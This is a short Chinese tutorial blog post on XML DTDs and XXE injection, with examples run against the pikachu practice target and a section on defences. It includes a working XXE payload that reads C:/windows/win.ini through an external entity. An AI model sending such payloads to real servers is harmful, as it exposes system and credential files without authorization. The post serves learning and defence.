前言
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
博主之前用xml也没有使用过DTD,因为是可选的嘛,这里就简单说一下,学过的跳过。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
引用外部DTD文档
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
内部声明实体
<!ENTITY 实体名称 "实体的值">
引用外部实体
<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
调用方式:&实体名称;
简介
XML外部实体注入(XML External Entity,为什么不取首字母呢...),简称XXE漏洞。
原理
服务端接收并解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
攻击
使用靶机:pikachu
<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker "lady_killer9"> ]> <name>&hacker;</name>
字符串回显
<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker SYSTEM "file:///C:/windows/win.ini"> ]> <name>&hacker;</name>
敏感文件查看
防御
禁用外部实体
PHP中使用libxml_disable_entity_loader(true);
其他语言(C++、Java等):owasp XXE防御备忘录
博主在做项目时使用的是xml.etree.ElementTree,在python官方文档中也提到对于错误xml以及恶意构建的xml可能存在解析漏洞。不过,python在外部实体注入方面认为是安全的。
过滤用户提交的XML数据
过滤掉关键词:SYSTEM和PUBLIC
更多内容查看:网络安全-自学笔记
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。